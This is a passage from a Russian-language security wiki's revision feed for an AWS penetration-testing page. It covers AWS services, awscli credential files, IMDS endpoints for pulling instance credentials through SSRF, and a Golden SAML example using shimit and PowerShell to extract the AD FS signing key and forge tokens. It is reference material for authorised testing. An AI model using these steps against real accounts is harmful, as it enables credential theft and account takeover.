https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1213</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1213"/>
				<updated>2022-10-07T16:52:38Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Службы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
